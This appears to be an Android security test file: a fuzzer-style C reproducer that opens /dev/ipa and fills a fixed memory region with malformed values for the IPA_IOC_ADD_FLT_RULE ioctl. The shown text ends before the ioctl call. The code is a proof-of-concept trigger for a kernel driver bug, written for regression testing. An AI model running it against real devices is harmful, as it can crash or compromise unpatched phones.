| /** |
| * Copyright (C) 2017 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| |
| #define _GNU_SOURCE |
| #include <fcntl.h> |
| #include <linux/ion.h> |
| #include <pthread.h> |
| #include <stdint.h> |
| #include <string.h> |
| #include <sys/mman.h> |
| #include <sys/syscall.h> |
| #include <sys/types.h> |
| #include <sys/wait.h> |
| #include <unistd.h> |
| |
| #define IPA_IOC_ADD_FLT_RULE 0xc008cf04ul |
| |
| int main() { |
| int fd; |
| |
| fd = open("/dev/ipa", 0x0ul); |
| |
| mmap((void *)0x20000000ul, 0xb000ul, 0x3ul, 0x32ul, (int)0xfffffffffffffffful, |
| 0x0ul); |
| memcpy((void *)0x20000ff8, "\x2f\x64\x65\x76\x2f\x69\x70\x61\x00", 9); |
| |
| *(uint8_t *)0x20002924 = (uint8_t)0x4; |
| *(uint32_t *)0x20002928 = (uint32_t)0x1; |
| *(uint32_t *)0x2000292c = (uint32_t)0x25; |
| *(uint8_t *)0x20002930 = (uint8_t)0xaf; |
| *(uint8_t *)0x20002931 = (uint8_t)0x5; |
| *(uint8_t *)0x20002934 = (uint8_t)0x3ff; |
| *(uint8_t *)0x20002935 = (uint8_t)0x3000; |
| *(uint32_t *)0x20002938 = (uint32_t)0x0; |
| *(uint32_t *)0x2000293c = (uint32_t)0x100000001; |
| *(uint32_t *)0x20002940 = (uint32_t)0xfff; |
| *(uint16_t *)0x20002944 = (uint16_t)0x10001; |
| *(uint16_t *)0x20002946 = (uint16_t)0x0; |
| *(uint16_t *)0x20002948 = (uint16_t)0x200; |
| *(uint16_t *)0x2000294a = (uint16_t)0x6; |
| *(uint8_t *)0x2000294c = (uint8_t)0x1ff; |
| *(uint8_t *)0x2000294d = (uint8_t)0x0; |
| *(uint8_t *)0x2000294e = (uint8_t)0x4; |
| *(uint8_t *)0x2000294f = (uint8_t)0x4; |
| *(uint32_t *)0x20002950 = (uint32_t)0x4; |
| *(uint16_t *)0x20002954 = (uint16_t)0x4; |
| *(uint16_t *)0x20002956 = (uint16_t)0x5; |
| *(uint32_t *)0x20002958 = (uint32_t)0xe1; |
| *(uint32_t *)0x2000295c = (uint32_t)0x2c3d1303cb45d134; |
| memcpy((void *)0x20002960, "\x85\x76\xe8\x3d\x34\x34", 6); |
| memcpy((void *)0x20002966, "\xc0\x65\x2e\x65\xde\x90", 6); |
| memcpy((void *)0x2000296c, "\x7f\x81\xef\x40\x5f\xa4", 6); |
| memcpy((void *)0x20002972, "\x14\xe8\xa5\x6c\x59\xf3", 6); |
| *(uint16_t *)0x20002978 = (uint16_t)0x7f; |
| *(uint8_t *)0x2000297a = (uint8_t)0x5; |
| *(uint32_t *)0x2000297c = (uint32_t)0x1; |
| *(uint8_t *)0x20002980 = (uint8_t)0x0; |
| *(uint32_t *)0x20002984 = (uint32_t)0x43; |
| *(uint32_t *)0x20002988 = (uint32_t)0x7fff; |
| *(uint32_t *)0x2000298c = (uint32_t)0x1; |
| *(uint32_t *)0x20002990 = (uint32_t)0xb2; |
| *(uint32_t *)0x20002994 = (uint32_t)0x4; |
| *(uint32_t *)0x20002998 = (uint32_t)0x0; |
| *(uint32_t *)0x2000299c = (uint32_t)0x80000000; |
| *(uint32_t *)0x200029a0 = (uint32_t)0x8; |
| *(uint32_t *)0x200029a4 = (uint32_t)0x4; |
| *(uint32_t *)0x200029a8 = (uint32_t)0xab; |
| *(uint32_t *)0x200029ac = (uint32_t)0x1; |
| *(uint32_t *)0x200029b0 = (uint32_t)0x101; |
| *(uint32_t *)0x200029b4 = (uint32_t)0x2; |
| *(uint32_t *)0x200029b8 = (uint32_t)0x170fdfa21d6c58f8; |
| *(uint32_t *)0x200029bc = (uint32_t)0x3dd2; |
| *(uint32_t *)0x200029c0 = (uint32_t)0x4; |
| *(uint16_t *)0x200029c4 = (uint16_t)0xafa1; |
| *(uint8_t *)0x200029c6 = (uint8_t)0x8; |
| *(uint8_t *)0x200029c7 = (uint8_t)0x7; |
| *(uint8_t *)0x200029c8 = (uint8_t)0x80000000; |
| *(uint8_t *)0x200029c9 = (uint8_t)0x100; |
| *(uint8_t *)0x200029ca = (uint8_t)0x7; |
| *(uint8_t *)0x200029cc = (uint8_t)0x6; |
| *(uint16_t *)0x200029ce = (uint16_t)0xbc1; |
| *(uint16_t *)0x200029d0 = (uint16_t)0x7f; |
| *(uint8_t *)0x200029d2 = (uint8_t)0x1; |
| *(uint16_t *)0x200029d4 = (uint16_t)0x8001; |
| *(uint16_t *)0x200029d6 = (uint16_t)0x0; |
| *(uint8_t *)0x200029d8 = (uint8_t)0x7; |
| *(uint8_t *)0x200029dc = (uint8_t)0x10000; |
| *(uint32_t *)0x200029e0 = (uint32_t)0x1f; |
| *(uint32_t *)0x200029e4 = (uint32_t)0x8001; |
| *(uint8_t *)0x200029e8 = (uint8_t)0x1; |
| *(uint32_t *)0x200029ec = (uint32_t)0x20; |
| *(uint32_t *)0x200029f0 = (uint32_t)0x96df; |
| *(uint8_t *)0x200029f4 = (uint8_t)0x3ff; |
| *(uint8_t *)0x200029f5 = (uint8_t)0x0; |
| *(uint8_t *)0x200029f6 = (uint8_t)0x34ee; |
| *(uint32_t *)0x200029f8 = (uint32_t)0x7e; |
| *(uint8_t *)0x200029fc = (uint8_t)0x9; |
| *(uint8_t *)0x200029fe = (uint8_t)0x3000000000; |
| *(uint16_t *)0x20002a00 = (uint16_t)0xf43e; |
| *(uint8_t *)0x20002a02 = (uint8_t)0x200; |
| *(uint8_t *)0x20002a04 = (uint8_t)0x9; |
| *(uint32_t *)0x20002a08 = (uint32_t)0x7ff; |
| *(uint8_t *)0x20002a0c = (uint8_t)0x7; |
| *(uint8_t *)0x20002a10 = (uint8_t)0x2; |
| *(uint32_t *)0x20002a14 = (uint32_t)0xe214; |
| *(uint32_t *)0x20002a18 = (uint32_t)0x8; |
| *(uint8_t *)0x20002a1c = (uint8_t)0x4b; |
| *(uint32_t *)0x20002a20 = (uint32_t)0x0; |
| *(uint32_t *)0x20002a24 = (uint32_t)0x1; |
| *(uint8_t *)0x20002a28 = (uint8_t)0x7; |
| *(uint8_t *)0x20002a29 = (uint8_t)0xffffffffffffff00; |
| memcpy((void *)0x20002a2a, |
| "\xfc\x27\xac\xe4\x96\x49\xb2\xf6\x0d\xbd\x51\x62\x5a\x6b\x3f\xda", |
| 16); |
| memcpy((void *)0x20002a3a, |
| "\x19\x98\xc7\x34\xad\x27\x47\x85\xf1\xc7\x03\x87\xa2\x78\xba\x90", |
| 16); |
| *(uint8_t *)0x20002a4a = (uint8_t)0x5; |
| memcpy((void *)0x20002a4b, |
| "\xf7\xfe\x5a\x93\x7e\x57\x1f\xd9\x22\x2a\xe9\xd3\x26\x97\xde\x2f", |
| 16); |
| memcpy((void *)0x20002a5b, |
| "\xbc\xe1\x51\xd0\xba\x84\x15\xd0\x52\x62\x42\x02\x20\x30\x08\xeb", |
| 16); |
| *(uint8_t *)0x20002a6b = (uint8_t)0x0; |
| *(uint8_t *)0x20002a6c = (uint8_t)0x2; |
| *(uint32_t *)0x20002a70 = (uint32_t)0x1; |
| *(uint32_t *)0x20002a74 = (uint32_t)0x0; |
| *(uint8_t *)0x20002a78 = (uint8_t)0x7; |
| *(uint32_t *)0x20002a7c = (uint32_t)0x7; |
| *(uint8_t *)0x20002a80 = (uint8_t)0x6; |
| *(uint8_t *)0x20002a84 = (uint8_t)0x3f; |
| *(uint32_t *)0x20002a88 = (uint32_t)0xa952; |
| *(uint32_t *)0x20002a8c = (uint32_t)0x5; |
| *(uint8_t *)0x20002a90 = (uint8_t)0x8000; |
| *(uint8_t *)0x20002a91 = (uint8_t)0x400; |
| *(uint32_t *)0x20002a94 = (uint32_t)0x0; |
| *(uint32_t *)0x20002a98 = (uint32_t)0xffff; |
| *(uint32_t *)0x20002a9c = (uint32_t)0x3; |
| *(uint16_t *)0x20002aa0 = (uint16_t)0x2400000000000; |
| *(uint16_t *)0x20002aa2 = (uint16_t)0x7fff; |
| *(uint16_t *)0x20002aa4 = (uint16_t)0x100000000; |
| *(uint16_t *)0x20002aa6 = (uint16_t)0xffffffffffffff68; |
| *(uint8_t *)0x20002aa8 = (uint8_t)0x7621; |
| *(uint8_t *)0x20002aa9 = (uint8_t)0x99; |
| *(uint8_t *)0x20002aaa = (uint8_t)0xefc3; |
| *(uint8_t *)0x20002aab = (uint8_t)0x7fff; |
| *(uint32_t *)0x20002aac = (uint32_t)0x1a845927; |
| *(uint16_t *)0x20002ab0 = (uint16_t)0xffffffffffffff01; |
| *(uint16_t *)0x20002ab2 = (uint16_t)0x4; |
| *(uint32_t *)0x20002ab4 = (uint32_t)0x3; |
| *(uint32_t *)0x20002ab8 = (uint32_t)0x8; |
| memcpy((void *)0x20002abc, "\xec\x77\x0a\x15\x35\xad", 6); |
| memcpy((void *)0x20002ac2, "\x50\x7a\x5c\x89\xda\x6d", 6); |
| memcpy((void *)0x20002ac8, "\x97\x95\x20\x35\x09\xee", 6); |
| memcpy((void *)0x20002ace, "\xd7\x6a\x47\xf0\xb1\x5a", 6); |
| *(uint16_t *)0x20002ad4 = (uint16_t)0x100000000000000; |
| *(uint8_t *)0x20002ad6 = (uint8_t)0xa000000000; |
| *(uint32_t *)0x20002ad8 = (uint32_t)0x40; |
| *(uint8_t *)0x20002adc = (uint8_t)0x20; |
| *(uint32_t *)0x20002ae0 = (uint32_t)0x0; |
| *(uint32_t *)0x20002ae4 = (uint32_t)0x0; |
| *(uint32_t *)0x20002ae8 = (uint32_t)0x6; |
| *(uint32_t *)0x20002aec = (uint32_t)0x8; |
| *(uint32_t *)0x20002af0 = (uint32_t)0x6; |
| *(uint32_t *)0x20002af4 = (uint32_t)0x0; |
| *(uint32_t *)0x20002af8 = (uint32_t)0x8; |
| *(uint32_t *)0x20002afc = (uint32_t)0x3; |
| *(uint32_t *)0x20002b00 = (uint32_t)0x8; |
| *(uint32_t *)0x20002b04 = (uint32_t)0x7; |
| *(uint32_t *)0x20002b08 = (uint32_t)0x7f; |
| *(uint32_t *)0x20002b0c = (uint32_t)0x6; |
| *(uint32_t *)0x20002b10 = (uint32_t)0x800; |
| *(uint32_t *)0x20002b14 = (uint32_t)0x24000000; |
| *(uint32_t *)0x20002b18 = (uint32_t)0x80000001; |
| *(uint32_t *)0x20002b1c = (uint32_t)0x1; |
| *(uint16_t *)0x20002b20 = (uint16_t)0x2; |
| *(uint8_t *)0x20002b22 = (uint8_t)0x80000000; |
| *(uint8_t *)0x20002b23 = (uint8_t)0x9; |
| *(uint8_t *)0x20002b24 = (uint8_t)0x7f; |
| *(uint8_t *)0x20002b25 = (uint8_t)0x9aa2; |
| *(uint8_t *)0x20002b26 = (uint8_t)0x80000001; |
| *(uint8_t *)0x20002b28 = (uint8_t)0x9; |
| *(uint16_t *)0x20002b2a = (uint16_t)0x7; |
| *(uint16_t *)0x20002b2c = (uint16_t)0x1; |
| *(uint8_t *)0x20002b2e = (uint8_t)0x7; |
| *(uint16_t *)0x20002b30 = (uint16_t)0x4; |
| *(uint16_t *)0x20002b32 = (uint16_t)0x9; |
| *(uint8_t *)0x20002b34 = (uint8_t)0x3; |
| *(uint8_t *)0x20002b38 = (uint8_t)0x80000000; |
| *(uint32_t *)0x20002b3c = (uint32_t)0xbe; |
| *(uint32_t *)0x20002b40 = (uint32_t)0x10001; |
| *(uint8_t *)0x20002b44 = (uint8_t)0x8; |
| *(uint32_t *)0x20002b48 = (uint32_t)0x0; |
| *(uint32_t *)0x20002b4c = (uint32_t)0x6; |
| *(uint8_t *)0x20002b50 = (uint8_t)0xe83c; |
| *(uint8_t *)0x20002b51 = (uint8_t)0x9dec; |
| *(uint8_t *)0x20002b52 = (uint8_t)0x100000000000000; |
| *(uint32_t *)0x20002b54 = (uint32_t)0x0; |
| *(uint8_t *)0x20002b58 = (uint8_t)0x4; |
| *(uint8_t *)0x20002b5a = (uint8_t)0x10001; |
| *(uint16_t *)0x20002b5c = (uint16_t)0x14000000000000; |
| *(uint8_t *)0x20002b5e = (uint8_t)0x6; |
| *(uint8_t *)0x20002b60 = (uint8_t)0x9000000; |
| *(uint32_t *)0x20002b64 = (uint32_t)0x100000000; |
| *(uint8_t *)0x20002b68 = (uint8_t)0x0; |
| *(uint8_t *)0x20002b6c = (uint8_t)0x6; |
| *(uint32_t *)0x20002b70 = (uint32_t)0x6; |
| *(uint32_t *)0x20002b74 = (uint32_t)0x80000001; |
| *(uint8_t *)0x20002b78 = (uint8_t)0x10001; |
| *(uint32_t *)0x20002b7c = (uint32_t)0x2; |
| *(uint32_t *)0x20002b80 = (uint32_t)0x101; |
| *(uint8_t *)0x20002b84 = (uint8_t)0x115; |
| *(uint8_t *)0x20002b85 = (uint8_t)0x5; |
| memcpy((void *)0x20002b86, |
| "\x10\x72\x8f\xb9\x7d\xe9\x33\x19\x3d\x81\xc1\x54\x31\x91\x1e\xac", |
| 16); |
| memcpy((void *)0x20002b96, |
| "\xcd\x33\x9b\x13\xdc\x4b\xfe\x81\xbf\x15\xaa\x54\xe6\x8f\x9c\xad", |
| 16); |
| *(uint8_t *)0x20002ba6 = (uint8_t)0x1; |
| memcpy((void *)0x20002ba7, |
| "\x08\xf8\x09\x5e\x9c\x9a\xc5\x02\xaa\xc8\xf0\x53\x55\xb3\x72\x3b", |
| 16); |
| memcpy((void *)0x20002bb7, |
| "\x32\xe2\x81\xed\x29\x5a\xbb\xfb\xe3\x98\x81\xa5\x00\x09\x5b\x0b", |
| 16); |
| *(uint8_t *)0x20002bc7 = (uint8_t)0x3ff; |
| *(uint8_t *)0x20002bc8 = (uint8_t)0x10000; |
| *(uint32_t *)0x20002bcc = (uint32_t)0x68; |
| *(uint32_t *)0x20002bd0 = (uint32_t)0x9; |
| *(uint8_t *)0x20002bd4 = (uint8_t)0x8; |
| *(uint32_t *)0x20002bd8 = (uint32_t)0x40; |
| *(uint8_t *)0x20002bdc = (uint8_t)0x9; |
| *(uint8_t *)0x20002be0 = (uint8_t)0x7fff; |
| *(uint32_t *)0x20002be4 = (uint32_t)0x101; |
| *(uint32_t *)0x20002be8 = (uint32_t)0x5; |
| *(uint8_t *)0x20002bec = (uint8_t)0xae1; |
| *(uint8_t *)0x20002bed = (uint8_t)0x5; |
| *(uint32_t *)0x20002bf0 = (uint32_t)0x1; |
| *(uint32_t *)0x20002bf4 = (uint32_t)0x8; |
| *(uint32_t *)0x20002bf8 = (uint32_t)0xc7; |
| *(uint16_t *)0x20002bfc = (uint16_t)0x6; |
| *(uint16_t *)0x20002bfe = (uint16_t)0x8; |
| *(uint16_t *)0x20002c00 = (uint16_t)0x200; |
| *(uint16_t *)0x20002c02 = (uint16_t)0x7; |
| *(uint8_t *)0x20002c04 = (uint8_t)0x7fff; |
| *(uint8_t *)0x20002c05 = (uint8_t)0x7; |
| *(uint8_t *)0x20002c06 = (uint8_t)0x6; |
| *(uint8_t *)0x20002c07 = (uint8_t)0xe265; |
| *(uint32_t *)0x20002c08 = (uint32_t)0x7fff; |
| *(uint16_t *)0x20002c0c = (uint16_t)0x8; |
| *(uint16_t *)0x20002c0e = (uint16_t)0x0; |
| *(uint32_t *)0x20002c10 = (uint32_t)0x87; |
| *(uint32_t *)0x20002c14 = (uint32_t)0x1; |
| memcpy((void *)0x20002c18, "\xef\x8f\x03\xa7\x08\xdc", 6); |
| memcpy((void *)0x20002c1e, "\x7a\x29\x68\x4b\x0c\x99", 6); |
| memcpy((void *)0x20002c24, "\x51\x62\x84\x9a\xfc\xd6", 6); |
| memcpy((void *)0x20002c2a, "\x53\x67\x6b\x3c\x42\x3c", 6); |
| *(uint16_t *)0x20002c30 = (uint16_t)0x6; |
| *(uint8_t *)0x20002c32 = (uint8_t)0x1; |
| *(uint32_t *)0x20002c34 = (uint32_t)0x1; |
| *(uint8_t *)0x20002c38 = (uint8_t)0x1ff; |
| *(uint32_t *)0x20002c3c = (uint32_t)0x8360; |
| *(uint32_t *)0x20002c40 = (uint32_t)0x81; |
| *(uint32_t *)0x20002c44 = (uint32_t)0x4; |
| *(uint32_t *)0x20002c48 = (uint32_t)0x80; |
| *(uint32_t *)0x20002c4c = (uint32_t)0x3; |
| *(uint32_t *)0x20002c50 = (uint32_t)0x1f; |
| *(uint32_t *)0x20002c54 = (uint32_t)0x100000000; |
| *(uint32_t *)0x20002c58 = (uint32_t)0x400; |
| *(uint32_t *)0x20002c5c = (uint32_t)0x7; |
| *(uint32_t *)0x20002c60 = (uint32_t)0x7b; |
| *(uint32_t *)0x20002c64 = (uint32_t)0xe6ae; |
| *(uint32_t *)0x20002c68 = (uint32_t)0x21; |
| *(uint32_t *)0x20002c6c = (uint32_t)0x0; |
| *(uint32_t *)0x20002c70 = (uint32_t)0x6; |
| *(uint32_t *)0x20002c74 = (uint32_t)0x8; |
| *(uint32_t *)0x20002c78 = (uint32_t)0x8; |
| *(uint16_t *)0x20002c7c = (uint16_t)0x6; |
| *(uint8_t *)0x20002c7e = (uint8_t)0xff; |
| *(uint8_t *)0x20002c7f = (uint8_t)0xffffffffffffeb4d; |
| *(uint8_t *)0x20002c80 = (uint8_t)0x0; |
| *(uint8_t *)0x20002c81 = (uint8_t)0xa46; |
| *(uint8_t *)0x20002c82 = (uint8_t)0x6; |
| *(uint8_t *)0x20002c84 = (uint8_t)0x101; |
| *(uint16_t *)0x20002c86 = (uint16_t)0x6; |
| *(uint16_t *)0x20002c88 = (uint16_t)0x3; |
| *(uint8_t *)0x20002c8a = (uint8_t)0x0; |
| *(uint16_t *)0x20002c8c = (uint16_t)0xed; |
| *(uint16_t *)0x20002c8e = (uint16_t)0x9; |
| *(uint8_t *)0x20002c90 = (uint8_t)0x6; |
| *(uint8_t *)0x20002c94 = (uint8_t)0x5; |
| *(uint32_t *)0x20002c98 = (uint32_t)0x6; |
| *(uint32_t *)0x20002c9c = (uint32_t)0x6; |
| *(uint8_t *)0x20002ca0 = (uint8_t)0x3; |
| *(uint32_t *)0x20002ca4 = (uint32_t)0xff; |
| *(uint32_t *)0x20002ca8 = (uint32_t)0x80000000; |
| *(uint8_t *)0x20002cac = (uint8_t)0x40; |
| *(uint8_t *)0x20002cad = (uint8_t)0x200; |
| *(uint8_t *)0x20002cae = (uint8_t)0x9; |
| *(uint32_t *)0x20002cb0 = (uint32_t)0x1; |
| *(uint8_t *)0x20002cb4 = (uint8_t)0x2; |
| *(uint8_t *)0x20002cb6 = (uint8_t)0x2; |
| *(uint16_t *)0x20002cb8 = (uint16_t)0xda9c; |
| *(uint8_t *)0x20002cba = (uint8_t)0x2; |
| *(uint8_t *)0x20002cbc = (uint8_t)0xe8b; |
| *(uint32_t *)0x20002cc0 = (uint32_t)0x9; |
| *(uint8_t *)0x20002cc4 = (uint8_t)0x7fffffff; |
| *(uint8_t *)0x20002cc8 = (uint8_t)0x68f; |
| *(uint32_t *)0x20002ccc = (uint32_t)0xf32; |
| *(uint32_t *)0x20002cd0 = (uint32_t)0x6; |
| *(uint8_t *)0x20002cd4 = (uint8_t)0x4; |
| *(uint32_t *)0x20002cd8 = (uint32_t)0x7; |
| *(uint32_t *)0x20002cdc = (uint32_t)0xb9; |
| *(uint8_t *)0x20002ce0 = (uint8_t)0xf6d; |
| *(uint8_t *)0x20002ce1 = (uint8_t)0x3; |
| memcpy((void *)0x20002ce2, |
| "\x09\xb3\xdd\xd0\xb5\xb4\xa8\x63\xe2\xb4\x86\x02\xef\x48\x4e\xd1", |
| 16); |
| memcpy((void *)0x20002cf2, |
| "\x32\x86\x0e\xe4\x37\x55\x8e\xb0\xc7\x25\x05\xa2\x4a\xe1\x96\x42", |
| 16); |
| *(uint8_t *)0x20002d02 = (uint8_t)0xffff; |
| memcpy((void *)0x20002d03, |
| "\xa6\x9d\x8b\x67\xa6\x13\x60\x4f\x9a\x76\x00\x0c\xb3\x91\xae\x91", |
| 16); |
| memcpy((void *)0x20002d13, |
| "\xa3\x7a\xc4\xce\x72\x04\x46\x6d\xfc\x74\x80\x4d\x9f\xca\x67\x16", |
| 16); |
| *(uint8_t *)0x20002d23 = (uint8_t)0x3; |
| *(uint8_t *)0x20002d24 = (uint8_t)0x6; |
| *(uint32_t *)0x20002d28 = (uint32_t)0x100000000; |
| *(uint32_t *)0x20002d2c = (uint32_t)0x100000001; |
| *(uint8_t *)0x20002d30 = (uint8_t)0x100000001; |
| *(uint32_t *)0x20002d34 = (uint32_t)0x401; |
| *(uint8_t *)0x20002d38 = (uint8_t)0x8; |
| *(uint8_t *)0x20002d3c = (uint8_t)0x5; |
| *(uint32_t *)0x20002d40 = (uint32_t)0x1; |
| *(uint32_t *)0x20002d44 = (uint32_t)0x5; |
| *(uint8_t *)0x20002d48 = (uint8_t)0x7fffffff; |
| *(uint8_t *)0x20002d49 = (uint8_t)0x80; |
| *(uint32_t *)0x20002d4c = (uint32_t)0x0; |
| *(uint32_t *)0x20002d50 = (uint32_t)0xff; |
| *(uint32_t *)0x20002d54 = (uint32_t)0x4; |
| *(uint16_t *)0x20002d58 = (uint16_t)0x4; |
| *(uint16_t *)0x20002d5a = (uint16_t)0x4; |
| *(uint16_t *)0x20002d5c = (uint16_t)0x1; |
| *(uint16_t *)0x20002d5e = (uint16_t)0x3d; |
| *(uint8_t *)0x20002d60 = (uint8_t)0x7fffffff; |
| *(uint8_t *)0x20002d61 = (uint8_t)0x40; |
| *(uint8_t *)0x20002d62 = (uint8_t)0x8; |
| *(uint8_t *)0x20002d63 = (uint8_t)0x2ff; |
| *(uint32_t *)0x20002d64 = (uint32_t)0x3; |
| *(uint16_t *)0x20002d68 = (uint16_t)0x5; |
| *(uint16_t *)0x20002d6a = (uint16_t)0x0; |
| *(uint32_t *)0x20002d6c = (uint32_t)0x2; |
| *(uint32_t *)0x20002d70 = (uint32_t)0x81; |
| memcpy((void *)0x20002d74, "\xe5\xf2\x2c\xb3\xfa\x1b", 6); |
| memcpy((void *)0x20002d7a, "\xe7\x1f\xae\x9f\x54\x33", 6); |
| memcpy((void *)0x20002d80, "\x6a\xfc\x62\x48\x89\x90", 6); |
| memcpy((void *)0x20002d86, "\xbd\x61\x79\x87\xe4\x24", 6); |
| *(uint16_t *)0x20002d8c = (uint16_t)0xfffffffffffffffa; |
| *(uint8_t *)0x20002d8e = (uint8_t)0x2; |
| *(uint32_t *)0x20002d90 = (uint32_t)0x8; |
| *(uint8_t *)0x20002d94 = (uint8_t)0x1; |
| *(uint32_t *)0x20002d98 = (uint32_t)0xffffffffffff7fff; |
| *(uint32_t *)0x20002d9c = (uint32_t)0x401; |
| *(uint32_t *)0x20002da0 = (uint32_t)0x9; |
| *(uint32_t *)0x20002da4 = (uint32_t)0x2; |
| *(uint32_t *)0x20002da8 = (uint32_t)0x4; |
| *(uint32_t *)0x20002dac = (uint32_t)0x69; |
| *(uint32_t *)0x20002db0 = (uint32_t)0x8; |
| *(uint32_t *)0x20002db4 = (uint32_t)0x6; |
| *(uint32_t *)0x20002db8 = (uint32_t)0x7fff; |
| *(uint32_t *)0x20002dbc = (uint32_t)0x4; |
| *(uint32_t *)0x20002dc0 = (uint32_t)0x7fffffff; |
| *(uint32_t *)0x20002dc4 = (uint32_t)0x80; |
| *(uint32_t *)0x20002dc8 = (uint32_t)0x100; |
| *(uint32_t *)0x20002dcc = (uint32_t)0x2; |
| *(uint32_t *)0x20002dd0 = (uint32_t)0x7; |
| *(uint32_t *)0x20002dd4 = (uint32_t)0x4; |
| *(uint16_t *)0x20002dd8 = (uint16_t)0x6; |
| *(uint8_t *)0x20002dda = (uint8_t)0x10000; |
| *(uint8_t *)0x20002ddb = (uint8_t)0x0; |
| *(uint8_t *)0x20002ddc = (uint8_t)0xff; |
| *(uint8_t *)0x20002ddd = (uint8_t)0x9; |
| *(uint8_t *)0x20002dde = (uint8_t)0x10001; |
| *(uint8_t *)0x20002de0 = (uint8_t)0x8; |
| *(uint16_t *)0x20002de2 = (uint16_t)0x100; |
| *(uint16_t *)0x20002de4 = (uint16_t)0xffffffff80000001; |
| *(uint8_t *)0x20002de6 = (uint8_t)0x8000; |
| *(uint16_t *)0x20002de8 = (uint16_t)0x101; |
| *(uint16_t *)0x20002dea = (uint16_t)0x10001; |
| *(uint8_t *)0x20002dec = (uint8_t)0x101; |
| *(uint8_t *)0x20002df0 = (uint8_t)0x20000000000000; |
| *(uint32_t *)0x20002df4 = (uint32_t)0xe376; |
| *(uint32_t *)0x20002df8 = (uint32_t)0x9; |
| *(uint8_t *)0x20002dfc = (uint8_t)0x80000001; |
| *(uint32_t *)0x20002e00 = (uint32_t)0x4d6; |
| *(uint32_t *)0x20002e04 = (uint32_t)0x9; |
| *(uint8_t *)0x20002e08 = (uint8_t)0x1ff; |
| *(uint8_t *)0x20002e09 = (uint8_t)0x4; |
| *(uint8_t *)0x20002e0a = (uint8_t)0x0; |
| *(uint32_t *)0x20002e0c = (uint32_t)0xa0000000; |
| *(uint8_t *)0x20002e10 = (uint8_t)0x100000001; |
| *(uint8_t *)0x20002e12 = (uint8_t)0xa9db; |
| *(uint16_t *)0x20002e14 = (uint16_t)0x2; |
| *(uint8_t *)0x20002e16 = (uint8_t)0x9; |
| *(uint8_t *)0x20002e18 = (uint8_t)0x80; |
| *(uint32_t *)0x20002e1c = (uint32_t)0x6; |
| *(uint8_t *)0x20002e20 = (uint8_t)0x6; |
| *(uint8_t *)0x20002e24 = (uint8_t)0x9; |
| *(uint32_t *)0x20002e28 = (uint32_t)0x7c07; |
| *(uint32_t *)0x20002e2c = (uint32_t)0x80000000; |
| *(uint8_t *)0x20002e30 = (uint8_t)0x5; |
| *(uint32_t *)0x20002e34 = (uint32_t)0xd473; |
| *(uint32_t *)0x20002e38 = (uint32_t)0x7; |
| *(uint8_t *)0x20002e3c = (uint8_t)0xfffffffffffffff9; |
| *(uint8_t *)0x20002e3d = (uint8_t)0x7f; |
| memcpy((void *)0x20002e3e, |
| "\xaf\x0c\xe8\xf6\xb5\xd9\x88\x44\xa7\xbd\x6f\xf3\x39\x73\x14\xf4", |
| 16); |
| memcpy((void *)0x20002e4e, |
| "\xd5\x09\x71\xb6\xe9\x72\x21\x95\xd5\x7c\xb1\x05\x94\x0d\xca\xb8", |
| 16); |
| *(uint8_t *)0x20002e5e = (uint8_t)0xbc1c; |
| memcpy((void *)0x20002e5f, |
| "\x75\xe0\x8a\xb8\x09\xa5\x46\x75\xcd\x3f\xb3\x5c\x7c\x53\xac\x15", |
| 16); |
| memcpy((void *)0x20002e6f, |
| "\xb4\xa2\x0c\x99\x8f\x06\x34\x66\x53\x2b\xe0\x75\x21\x86\x0f\xdb", |
| 16); |
| *(uint8_t *)0x20002e7f = (uint8_t)0x88; |
| *(uint8_t *)0x20002e80 = (uint8_t)0x1; |
| *(uint32_t *)0x20002e84 = (uint32_t)0xa1; |
| *(uint32_t *)0x20002e88 = (uint32_t)0x200; |
| *(uint8_t *)0x20002e8c = (uint8_t)0x20; |
| *(uint32_t *)0x20002e90 = (uint32_t)0x6; |
| *(uint8_t *)0x20002e94 = (uint8_t)0xea; |
| *(uint8_t *)0x20002e98 = (uint8_t)0x10000; |
| *(uint32_t *)0x20002e9c = (uint32_t)0x6; |
| *(uint32_t *)0x20002ea0 = (uint32_t)0x7d; |
| *(uint8_t *)0x20002ea4 = (uint8_t)0x0; |
| *(uint8_t *)0x20002ea5 = (uint8_t)0x8001; |
| *(uint32_t *)0x20002ea8 = (uint32_t)0x0; |
| *(uint32_t *)0x20002eac = (uint32_t)0x7fffffff; |
| *(uint32_t *)0x20002eb0 = (uint32_t)0x204fec542d605987; |
| *(uint16_t *)0x20002eb4 = (uint16_t)0x6; |
| *(uint16_t *)0x20002eb6 = (uint16_t)0xffffffffffff8000; |
| *(uint16_t *)0x20002eb8 = (uint16_t)0x3ff; |
| *(uint16_t *)0x20002eba = (uint16_t)0x8000; |
| *(uint8_t *)0x20002ebc = (uint8_t)0x4; |
| *(uint8_t *)0x20002ebd = (uint8_t)0x80000001; |
| *(uint8_t *)0x20002ebe = (uint8_t)0x0; |
| *(uint8_t *)0x20002ebf = (uint8_t)0xfffffffffffffff9; |
| *(uint32_t *)0x20002ec0 = (uint32_t)0x200; |
| *(uint16_t *)0x20002ec4 = (uint16_t)0x4; |
| *(uint16_t *)0x20002ec6 = (uint16_t)0x4; |
| *(uint32_t *)0x20002ec8 = (uint32_t)0x4; |
| *(uint32_t *)0x20002ecc = (uint32_t)0xffffffff80000000; |
| memcpy((void *)0x20002ed0, "\xcc\x25\x2d\xec\x43\xe0", 6); |
| memcpy((void *)0x20002ed6, "\x85\x93\x52\x18\xcc\x56", 6); |
| memcpy((void *)0x20002edc, "\xf2\xb6\x86\x04\x46\xec", 6); |
| memcpy((void *)0x20002ee2, "\x70\x06\xb1\xfd\x68\xa5", 6); |
| *(uint16_t *)0x20002ee8 = (uint16_t)0x1000; |
| *(uint8_t *)0x20002eea = (uint8_t)0x0; |
| *(uint32_t *)0x20002eec = (uint32_t)0xbbd8; |
| *(uint8_t *)0x20002ef0 = (uint8_t)0x3; |
| *(uint32_t *)0x20002ef4 = (uint32_t)0x8; |
| *(uint32_t *)0x20002ef8 = (uint32_t)0x100; |
| *(uint32_t *)0x20002efc = (uint32_t)0x9; |
| *(uint32_t *)0x20002f00 = (uint32_t)0xfffffffffffffab9; |
| *(uint32_t *)0x20002f04 = (uint32_t)0x9; |
